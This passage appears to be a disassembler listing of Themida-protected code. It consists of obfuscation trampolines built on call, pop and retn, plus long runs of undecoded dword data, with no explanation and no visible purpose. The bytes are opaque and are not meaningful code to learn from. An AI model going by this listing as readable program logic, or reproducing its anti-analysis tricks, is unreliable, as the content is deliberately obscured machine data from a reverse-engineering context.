and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D42A proc near ; CODE XREF: Themida_:0058D422p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_58D42A endp
; ---------------------------------------------------------------------------
dw 7143h
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_58D447
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58D447 proc near ; CODE XREF: Themida_:0058D43Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_58D447 endp
; ---------------------------------------------------------------------------
db 41h
dd 99EE8D86h, 89CE8033h, 0B0531B5h, 880D06h, 81660000h
dd 0FE251EBh, 1587h, 9E800h, 0CC820000h, 0AABB58FDh, 811D6B6Ah
dd 7DED36DFh, 958B5F45h, 60B174Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 36C35343h, 0FF90E64h, 8D8BDAB7h
dd 60B0119h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0F2C35040h, 2449B589h, 0CB81060Bh, 76407ADCh, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 13E95818h, 0DF000000h
dd 0C51A07FAh, 29079FA0h, 85F945A7h, 0B3B601E4h, 0BD8B9505h
dd 60B30E5h, 29BDBD83h, 0F00060Bh, 0A284h, 11E86000h, 0A0000000h
dd 2E6C1BCCh, 21CA87DCh, 93693310h, 0FB1F3BBAh, 20E5BD01h
dd 895B060Bh, 0B20259Dh, 0D3816106h, 313282B7h, 0B8h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 0FEB64227h, 0CFDF8166h, 0D78D8D22h, 66060B4Dh, 0A5C0DF81h
dd 6850Fh, 0BD8B0000h, 60B0DC1h, 6AE1FFh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9F6C9AC3h
dd 0C88E2773h, 0FF5D4DFh, 489h, 4DB75100h, 0C99D8B5Bh
dd 83060B29h, 0B1009BDh, 840F0006h, 4DDh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 16h, 48C35646h, 8166DDF2h
dd 0F95A6CF7h, 134D9D8Bh, 0BD83060Bh, 60B1009h, 0C1840F01h
dd 89000004h, 0B20F585h, 0DF8B6606h, 1009BD83h, 0F03060Bh
dd 47586h, 9C06BF00h, 6A605BB1h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0D704C357h, 0A1C1CFA5h
dd 0DEB70FAFh, 6AD98C66h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 1F79C350h, 26F0AF29h
dd 0E9FF1914h, 5, 133577C7h, 4E180B0h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 2DC35646h, 5D3C0A1Eh, 89DBB90Ah
dd 0B0AD58Dh, 0FC90A06h, 11A84h, 7E900h, 0B4A70000h, 0BC2D8BAEh
dd 11958979h, 8B060B09h, 0B317D85h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0F5CB3FF7h
dd 66F20339h, 9589FE8Bh, 60B2F35h, 6ED8533h, 6A060Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 88F9BEC3h, 7C28C3A9h, 1C1EBB50h, 48937E9h, 44D38124h
dd 6A049B5Bh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 234A3755h, 91BC8581h, 8E9C6h, 1FCF0000h
dd 4969592Fh, 0A8683535h, 53D092A1h, 815FD98Bh, 62572404h
dd 6A2F8Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0FFE3F8C3h, 0B03D195h, 0CDBD8B06h, 89060B19h
dd 0EA81D85h, 13E906h, 0BBA30000h, 0A5766037h, 3E6F9F78h
dd 0D27B6747h, 3F409BAAh, 253E99Ah, 7E80000h, 36000000h
dd 0BEC6C8CFh, 0BF668E2Fh, 8B5BE204h, 0EA81585h, 0C7FB8B06h
dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1904h, 0C3554500h, 85D1327Ah, 5FB73C4Ch, 0A819B58Bh
dd 0BD8B060Eh, 60B31A1h, 6E1858Bh, 9589060Bh, 60B06F1h
dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 5845E4C3h, 7D858B73h, 6A060B31h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0EC34C352h, 0D8456483h, 299D2322h, 89060B02h, 6A0446h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 35171AC3h, 38B032B3h, 8B5660E9h, 0B1745B5h, 59525E06h
dd 40BB5061h, 892409A6h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 654EF3C3h, 14CB4027h
dd 8F0F916Ch, 0Eh, 8F0F60h, 8B000000h, 0B1BA1B5h, 89606106h
dd 0B177D95h, 97F18106h, 61638476h, 0A815B5FFh, 0CE9060Eh
dd 0EE000000h, 0AEC7B193h, 71642F74h, 0F2E23E9h, 1F8Ch
dd 13E800h, 90160000h, 0C7E8AA01h, 9A57912Fh, 1C2B3264h
dd 71D24058h, 19BD8B8Fh, 5B060B0Dh, 3D1DFA68h, 81FE8AC6h
dd 0E6052404h, 6A39E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0F9581BC3h, 0A81D858Dh, 6A060Eh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 8F98B0C3h, 0C6EAAE65h, 9D89F448h, 60B29F1h, 10E9h, 311A5B00h
dd 547F0BFFh, 273C141Bh, 0B600B4F1h, 0C9D380ACh, 9E890h
dd 0DE690000h, 431D261Bh, 5710414Fh, 5FDF8B66h, 0BB66505Fh
dd 6A901256h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 11EEC350h, 5BD03FD6h, 12B9BD89h
dd 95FF060Bh, 60B03D1h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0ECC35141h, 0A67F8D51h, 8B66BEBFh, 68D0FFBh
dd 81000000h, 27490DEFh, 0BF666139h, 85C7BF3Dh, 60B1009h
dd 3, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
dd 0D0C35545h, 0A5EF8056h, 8D01F95Bh, 60B0EB5h, 0A81DBD83h
dd 0F00060Eh, 4584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 24CC3B11h, 0D8771464h
dd 0CE8h, 5AC35300h, 86DEDAA0h, 0A8CCFFDCh, 0E7816691h
dd 0E95FA5C7h, 21h, 3271BD23h, 3050060Bh, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 346AED67h
dd 1DB4AC10h, 0BD8B9619h, 60B1505h, 0CDBD0960h, 61060B02h
dd 9E9h, 999E7C00h, 0BBFAEB43h, 820F3D8Ch, 6, 328D8D31h
dd 0D88B060Bh, 1009BD83h, 0F03060Bh, 42E85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 72DE6E36h, 0DF816657h, 835FB0F1h, 0EA81DBDh, 840F0006h
dd 3FBh, 8B19D8Bh, 0B5FF060Bh, 60EA81Dh, 10219D0Bh, 95FF060Bh
dd 60B083Dh, 12E9F8h, 38760000h, 3D2C08FFh, 0A296E20Dh
dd 40ACBC2Ah, 0B54E4366h, 0A811B58Bh, 8B66060Eh, 106C7FAh
dd 66000100h, 96AF9DBBh, 5050FA8Bh, 2820F52h, 60000000h
dd 5A310F61h, 810F9658h, 26h, 0FE8h, 0B9EE6D00h, 14B63847h
dd 0E3717E69h, 4196037Dh, 0CE9h, 0CF328000h, 0FB95F014h
dd 2A0D75DEh, 0B5FF5B7Dh, 60EA81Dh, 33819D8Bh, 95FF060Bh
dd 60B0641h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 70C35545h, 0BD89427Dh, 60B0515h, 28B0F50h, 60000000h
dd 0B58B5B61h, 60EA811h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 3EC35242h, 0B748616Bh
dd 8E86Ah, 380D0000h, 15D4BF5Ch, 5FF855A6h, 121D858Bh
dd 0BB66060Bh, 8689F719h, 0C4h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 5C35141h, 78152E57h, 5DD2EEFh
dd 8509609Fh, 60B00B9h, 97D8D89h, 8B61060Bh, 0B174D95h
dd 4C28306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0B2C35040h, 0BF66B9C9h, 5089CB81h, 0D59D0920h
dd 8B060B28h, 0B06E9BDh, 0EE858D06h, 29060EBAh, 0B2AD9BDh
dd 0B8868906h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0E8C3C357h, 6, 65A70902h
dd 6A5F9076h, 0BCBB6600h, 1DB5FF92h, 80060EA8h, 95FF55DFh
dd 60B0F15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 16C35646h, 280A42F3h, 78FCA7Dh, 0BB6650D9h, 34892822h
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 11EB8075h, 0A81DB5FFh, 820F060Eh, 6, 2E659D0Bh
dd 8166060Bh, 0FF10F8E3h, 0B00F595h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0E9707A37h
dd 2DE99D23h, 0BD83060Bh, 60B2191h, 64840F00h, 6A000000h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0C09EC357h, 19059D29h, 8166060Bh, 96DFE9C7h
dd 0C169BB66h, 9605B750h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 0D4C35242h, 0E8CB253Dh, 0Ah, 5382F52Ah
dd 967DDCCCh, 0BB664D4Bh, 0FF5B98E6h, 0EA81DB5h, 0DFB70F06h
dd 128195FFh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 424F6EC3h, 0FA9815CEh, 8B6A242Ah
dd 0B15F99Dh, 1DB5FF06h, 6A060EA8h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8376C351h
dd 590AFDB6h, 8B66603Eh, 0C9BD89C7h, 61060B0Ah, 0B8D95FFh
dd 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0F8396DC3h, 0CE9h, 187D9600h, 0F69DE8A0h
dd 0F988298Eh, 0F1BD8362h, 2060B17h, 6F840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 94BF1CC3h, 67B5A9B2h, 0DF814679h, 6903E843h, 2EC5858Bh
dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 0B39D16C3h, 0C63Dh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 26C35141h, 0B985C747h, 60B06h
dd 0E8000000h, 8, 1250E9ACh, 0B60C2ABh, 0E91EB75Bh, 0FFFFF2A5h
dd 16219589h, 0C18B060Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0DAC35646h, 0B71C5848h, 0B026C4D8h, 719D89F5h
dd 0EB060B1Fh, 0E784F04h, 5C5E905h, 0C2D40000h, 68BF688Bh
dd 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h, 79FAC5DFh
dd 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h, 30C58402h
dd 0D5DEDB41h, 5F231E6Dh, 1D6D198Dh, 98E2C394h, 0F4C3D5A4h
dd 277D2C90h, 0D92ADB18h, 64B118ECh, 0E134E569h, 0E246CD0h
dd 7D8875FFh, 1D5632BAh, 0E1D9C394h, 99EA638Dh, 4E56B7ACh
dd 8BFF7781h, 1CC3941Dh, 1D5A2E26h, 0E2DC394h, 683A1082h
dd 574BAF2Dh, 0A8001885h, 0BA9E625Fh, 709EF246h, 370E16F7h
dd 77139B25h, 0F83C6BF9h, 3DEC6482h, 0C3872FE4h, 443C6BF9h
dd 0C7B61A7Eh, 4D3C80BFh, 0D4850934h, 0CD01F5C0h, 971DA8C8h
dd 6BF96B1Fh, 0A286FC3Ch, 234BD597h, 3C6BF9A7h, 15E2DF26h
dd 24A1032Dh, 459EA9FFh, 9E625FA8h, 6BF93756h, 806DFF3Ch
dd 0EA8467Bh, 59EB75FFh, 6BF9B1D5h, 4CC363Ch, 3C6BF940h
dd 0EB55F3C7h, 3240D542h, 9E6Fh, 710FD00h, 0DE261CCAh
dd 2D186DD5h, 0BD016559h, 0D63230AFh, 0D933B28Ah, 0C825A72Fh
dd 63E1C394h, 0EC506DB2h, 0F8DCEB3Dh, 0D359544Eh, 0C8592D41h
dd 412EC394h, 58210538h, 65D7714Ch, 3241C4C4h, 1EDh, 50BD0B00h
dd 4D817548h, 0B55BAAA3h, 47A33A01h, 0D6BA9E1Fh, 3B211067h
dd 6482BFCAh, 0DEE53DECh, 0BF92E10Ch, 271E62CBh, 0ED1B7F53h
dd 803F2D65h, 0F99CA43h, 0EA846C2h, 7D8875FFh, 5CABA24Ch
dd 0A588FFB6h, 0B6AAF24Bh, 0E42179A4h, 94270440h, 53B78BC3h
dd 0C0D532B5h, 0BD966EF5h, 80BDC233h, 941D0440h, 99B78BC3h
dd 76A76CB4h, 0B0D41C21h, 37C3941Dh, 262A34C3h, 0E827898Ah
dd 24F966F4h, 4931B03Bh, 0A291E950h, 0CADD8C84h, 0A128156Ah
dd 0B0947857h, 0F40EE85Ch, 350810F9h, 4E3DA22Eh, 0A68C5E7Ah
dd 8408454Eh, 4BC26C40h, 0CEBF033Eh, 90F478C3h, 17C3947Fh
dd 0C67BCF23h, 39D3D2h, 29324155h, 9Bh, 0D6DC1C43h, 8FAD9F0h
dd 2EE196CFh, 23CDCF9Eh, 6EDADE3Dh, 675B2F26h, 0C3CEBF03h
dd 46533A8Eh, 0CDD6870Bh, 0C0FF09F0h, 8F1E147Ch, 0C9993F3h
dd 0B1A29DE7h, 8D714C54h, 1A6AC6DCh, 1D3551D5h, 40BAC394h
dd 0D5A4986Ch, 2C90F4C3h, 867A8B29h, 3240F357h, 0D7B33B45h
dd 58C39417h, 633DC462h, 0DB000000h, 754850BDh, 172E72DBh
dd 0E70F99A3h, 0C3941DE3h, 1DF01E64h, 0B12E3C0Bh, 0A8717773h
dd 0D931DF0Ch, 8B119CC4h, 493D041Ah, 191F6B83h, 0AA90C394h
dd 6FB598B6h, 0DE758350h, 0DE16FAD7h, 0C3941DAFh, 1BEFE62Eh
dd 0E66A67B2h, 1DB4D054h, 0C73BC394h, 0DCAE3F79h, 0A55F6E24h
dd 3240F084h, 1ADh, 0D3DE4B00h, 56A30AFEh, 2E6A977Bh, 162B769Fh
dd 700B91CDh, 0FC7742EAh, 82F8BD9Eh, 22A6CE58h, 0A53A60C0h
dd 0EE5FB35Dh, 5A4BA8A5h, 58887C49h, 3A60C02Ah, 23C8C51Fh
dd 8F78FBD6h, 6DC5DA7Ah, 45C92D18h, 0F0592D01h, 7826AAA7h
dd 0F825AF3Eh, 0D62A9EA3h, 60C0D538h, 1EC53914h, 0FE146392h
dd 204F8D5Dh, 0E76B4F9Dh, 729B85A3h, 5F2C35A2h, 135h, 211EBDB9h
dd 4B77B336h, 207C40EEh, 3C5DD11Bh, 0DCBD9E42h, 92AEDA52h
dd 0D9213A61h, 2A7FD02Fh, 0E6573B1Fh, 0D1EC359Dh, 2E35296Dh
dd 3599B4C1h, 90ADF627h, 0CF3EE82Ch, 523B8FBAh, 0D7860A47h
dd 1401F5C4h, 837D119Ch, 8A9F0481h, 3B40ADBFh, 0FD0FE806h
dd 41350810h, 0D079E30Dh, 0F92C367Fh, 48h, 770C6F07h, 1D5541E5h
dd 0E0DAC394h, 1DB0D41Ch, 88A2C394h, 1656257Dh, 77813DEDh
dd 0C3B7BF58h, 0E408D236h, 0C3947BB0h, 74D82BDAh, 17311520h
dd 0D4B03438h, 5BC3947Bh, 21D00367h, 91h, 8FC6CE3Fh, 3329C73Bh
dd 0E4760D6Fh, 9F052140h, 0FF8FAEBDh, 1CB7B5AFh, 0EC7EC226h
dd 2CDAF901h, 7AF9D421h, 9F4D788Dh, 0A658EE20h, 729C9C45h
dd 9409569Eh, 0D0003A60h, 0EEDB2CD5h, 0C8532975h, 0B7FB8A22h
dd 0F8744470h, 70751074h, 4FA39730h, 340112FBh, 0CEDFD540h
dd 0ED7F0498h, 0D434224Eh, 0CE02F6C3h, 2504C631h, 0BCCD610Bh
dd 314E6014h, 4D39AD3Fh, 0C22E4018h, 181C68F8h, 74932E40h
dd 61C5BDE7h, 0BB44B8DBh, 0B331E4A3h, 6DF6EA9Ah, 4B50BD97h
dd 0C7958276h, 4BDAEDA3h, 6B33DD31h, 811FC11h, 0C50D4135h
dd 0C3940781h, 0A3412146h, 3483A27Ch, 8B7F425Bh, 0ED7F53B7h
dd 84B20879h
dd 0C9BD85BDh, 5AAF1760h, 370575B4h, 0AD81FC52h, 5281E5D9h
dd 0E5D427D6h, 88BFF77h, 261C3A64h, 50F00508h, 0A2160A47h
dd 79E46D82h, 0B2336939h, 0D60D384Dh, 6DD1EC39h, 0EB5F66BCh
dd 52BB4A4Eh, 54E67441h, 0A526A2CAh, 51A93545h, 45A5F591h
dd 0E6007A35h, 4C97E00Dh, 45A5ACD8h, 0F0042335h, 0C83ED4AEh
dd 996D41A5h, 326h, 9C844E00h, 9FDD4DEh, 967A57A0h, 12E6D127h
dd 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h, 0FC407988h
dd 7BCFFA0Dh, 0E28952CFh, 4C281h, 0EA830000h, 24148704h
dd 2434895Ch, 2FF268h, 24148900h, 1F6368h, 240C8900h, 16976851h
dd 0C8B1110h, 4C48324h, 88C18149h, 8148DC5Dh, 0FC6B14F1h
dd 59CA895Fh, 1CFD68h, 24248900h, 4240481h, 59000000h
dd 4EC81h, 14890000h, 8418F24h, 592434FFh, 4C481h, 148B0000h
dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FB5A6EE9h
dd 75CC1AFFh, 0B80FA743h, 6102449h, 0E0FFC503h, 1700BC92h
dd 9A99837h, 1A80CFB1h, 12FE6FC3h, 5244D270h, 7B5BB138h
dd 6DC4C829h, 20CC1602h, 652D4EB1h, 3C658C20h, 4CB720B9h
dd 3EE035F1h, 0A8A7A16h, 47C41AA1h, 7A798AF6h, 559BE1BAh
dd 69EB2700h, 45D2457Ch, 28A9858Dh, 0BB66060Bh, 0E9907F1Dh
dd 0Fh, 3174E8B1h, 0CBF4431h, 0D930FB37h, 5071E2F6h, 50006A90h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 6A50B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 93C35141h, 2DE9B589h, 810F060Bh, 6, 30DBD8Bh, 6A060Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EBC35545h
dd 9D2798D8h, 317CD12Bh, 0B0EB5BDh, 3840F06h, 0F000000h
dd 858DFFB7h, 610270Fh, 23F78166h, 5C08332h, 89BD8Bh, 0BF50060Bh
dd 767E8381h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0D954C355h, 0F5C6842h
dd 981686C8h, 1D19D09h, 6A060Bh, 0E94BCB80h, 0Eh, 95788B1Bh
dd 0A6685C33h, 66D2FF42h, 6AB64Dh, 0C690BB66h, 9E9h, 28002600h
dd 0BA99B7B3h, 95FFF8D9h, 60B2F21h, 18B0Fh, 81F80000h
dd 610FCFh, 0B08D8D16h, 6A060EA7h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 1C10C355h
dd 896F880Fh, 0B0689BDh, 359D0B06h, 0FF060B13h, 0FDBD8BD1h
dd 83060B03h, 0B0B19BDh, 850F0106h, 7Fh, 0D858960h, 66060B06h
dd 97EBE281h, 6A026A61h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0EB65C350h, 0BB669034h
dd 6050BAB6h, 0F525060h, 60585A31h, 52506161h, 310F5A50h
dd 9061585Ah, 5E9h, 0F1B61F00h, 95FFC295h, 60B0F15h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 2CC35343h, 0F5D5BB56h
dd 0CFBB59C0h, 0E963E567h, 0DC3h, 0E8h, 0ED815D00h, 6102719h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C5C35343h
dd 0BD8BF98Bh, 60B240Dh, 9293858Dh, 8531060Eh, 60B0671h
dd 0F98B6690h, 4402BB50h, 0E9904BD2h, 12h, 0C32B5778h
dd 2942A032h, 5CDD6FD4h, 0AC372752h, 0FF6479ADh, 35h, 79958900h
dd 64060B1Fh, 2589h, 0EB810000h, 75D5EEDFh, 66D85FFh, 6A060Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 573ABDC3h, 91BD8B7Dh, 6A060B24h, 759D8BFFh, 0FF060B2Eh
dd 0B12A9B5h, 95FFF506h, 60B2411h, 109E9h, 198D8900h, 0B0060B06h
dd 1953100h, 0E6060B1Bh, 0B70F5170h, 71E45FDBh, 0D9BAD781h
dd 613C299Dh, 0E4830Fh, 0BD8B0000h, 60B0809h, 0BAC8B60Fh
dd 6, 15159D8Bh, 0EE9060Bh, 27000000h, 0A37C97C4h, 778E1C41h
dd 0E4293222h, 1C18BB5h, 0B1829BDh, 4E8C106h, 14D9D8Bh
dd 0F766060Bh, 8AC82BE2h, 8AD18BF8h, 9CE9DCh, 85090000h
dd 60B1671h, 158DBD8Bh, 858B060Bh, 4947554Ch, 21199D8Bh
dd 9E9060Bh, 53000000h, 0A573854Eh, 9FBE3693h, 0E907C083h
dd 13h, 0ACCBB840h, 48F295E1h, 0E8F01160h, 855EA9CDh, 8377E4C3h
dd 0B50900C0h, 60B1169h, 2B61B589h, 0D03B060Bh, 13830Fh
dd 9D8B0000h, 60B0AD1h, 39E9h, 0A597BB00h, 8B665D29h, 0FF8D8BDAh
dd 8AFFFFFFh, 1E183FEh, 20840Fh, 9D290000h, 60B010Dh, 0FFFFA583h
dd 89FEFFFFh, 47554C95h, 0BD0B5049h, 60B0DEDh, 0E95Fh
dd 0B58D0000h, 60F9EEEh, 1609BD89h, 6A060Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 9C35141h, 0AA3CE9B0h
dd 8DBD8BC5h, 0FF060B09h, 0B32DD95h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0EC51BDF6h
dd 0E9AFAAEEh, 0Fh, 0FCFB8351h, 44C48616h, 30C064A0h, 8BC464D4h
dd 0E48B9F9h, 83F90000h, 810FFCE1h, 6, 29FD9D89h, 6AFC060Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 6997C353h, 7F887F0Fh, 8956FF0Bh, 0B31958Dh
dd 0C02B5F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 7AC35747h, 5204378Fh, 0C8B7D22Bh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 6AD98Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0D554A1C3h, 1B91BD8Bh, 9D8B060Bh
dd 60B17B9h, 5E8h, 8260C00h, 13E9713Dh, 0
dd 5FD45960h, 18EFF2B2h, 4D765882h, 2A41A9C6h, 0D5FC8D9h
dd 88h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h
dd 0EAC35141h, 899509h, 958B060Bh, 60B174Dh, 5D9D0360h
dd 0FC060B03h, 198D8B61h, 6A060B01h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0B010C357h
dd 0E4F51CB6h, 506CF2B1h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 0B5E3A968h, 292D9D09h, 6A060Bh, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 21556EC3h, 0E86E5AA9h, 0Dh, 0FF140C4Eh, 56C999F4h, 31297950h
dd 11E9ACh, 0C2730000h, 469A69D8h, 0B46FF5C9h, 0FAACEE16h
dd 5F4952D6h, 13E9h, 0B8932700h, 0A1F0C024h, 87602E08h
dd 7CBA3A0Eh, 79723574h, 29BDBD83h, 0F00060Bh, 4A84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 972FFD8Dh, 0B8h, 85BD8B00h, 0F060B2Eh, 688h, 719D2B00h
dd 8D060B18h, 0B4DD78Dh, 8DBD8B06h, 0FF060B03h, 699D8BE1h
dd 83060B06h, 0B1009BDh, 840F0006h, 499h, 3860Fh, 8B660000h
dd 9BD83FAh, 1060B10h, 49E840Fh, 8B660000h, 9BD83DAh, 3060B10h
dd 458860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 60E99BC3h, 0F9D8B70Fh, 6AD98C66h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 91CEC351h, 1AC393E0h, 0B3D0AF09h, 4E1806Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 2CC35747h
dd 7192B104h, 7D8D894Fh, 60060B02h, 8531F28Bh, 60B31B5h
dd 0FC90A61h, 1B484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 708B33CAh, 8BFB8B66h
dd 0B1FADBDh, 7D858B06h, 8B060B31h, 0B2729BDh, 5810F06h
dd 66000000h, 0AC28E781h, 6ED8533h, 6A060Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73CAE9C3h
dd 57A2A5E0h, 9E9h, 2CDF9000h, 0EAA00A4Ah, 8A0F5A78h, 3
dd 90FA8B66h, 0CE860h, 0FA990000h, 0E907DF31h, 0CF0F3969h
dd 8E0F2F0Bh, 0
; ---------------------------------------------------------------------------
pop ecx
call near ptr loc_58ED63+4
test ds:83AE9C60h, ebx
scasb
pop eax
xchg eax, edx
loc_58ED63: ; CODE XREF: Themida_:0058ED55p
sar byte ptr [ebx-4099101Ch], cl
sub ecx, [edi+5Ah]
popa
push eax
mov edi, 53F8A983h
nop
push 0
push ebp
call sub_58ED7F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58ED7F proc near ; CODE XREF: Themida_:0058ED77p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_58ED7F endp
; ---------------------------------------------------------------------------
db 0DFh
dd 6CAAAD4Fh, 0E9ACAECFh, 0Ah, 2BD86438h, 8C52AB02h, 6AF20Ah
dd 68DEBF0Fh, 0AB3FB40Eh, 0F18B6660h, 24048161h, 54DF4FF1h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 41C35242h
dd 6522F0EBh, 7A5E04C3h, 6820Fh, 9D890000h, 60B32B9h, 3D195FFh
dd 0FE9060Bh, 71000000h, 0D2EC7567h, 0A6FE6645h, 5603BD08h
dd 8589B4DAh, 60EA81Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 1EC35040h, 0A485B9CCh, 1633BAEh, 0B012DB5h
dd 1D5E906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0F43875C3h, 4A2CDF90h, 0E8EAA00Ah
dd 0Bh, 6C7ECAA2h, 0C17B0C43h, 0F5152A55h, 15858B5Fh, 89060EA8h
dd 0B15B59Dh, 61B58906h, 0C7060B11h, 1800h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 3D1FADA2h, 2DC5FFBBh, 19B58B0Eh, 53060EA8h, 1681BD8Bh
dd 665F060Bh, 8B45BFBFh, 0B06E185h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0E19036DDh
dd 17B3BB66h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
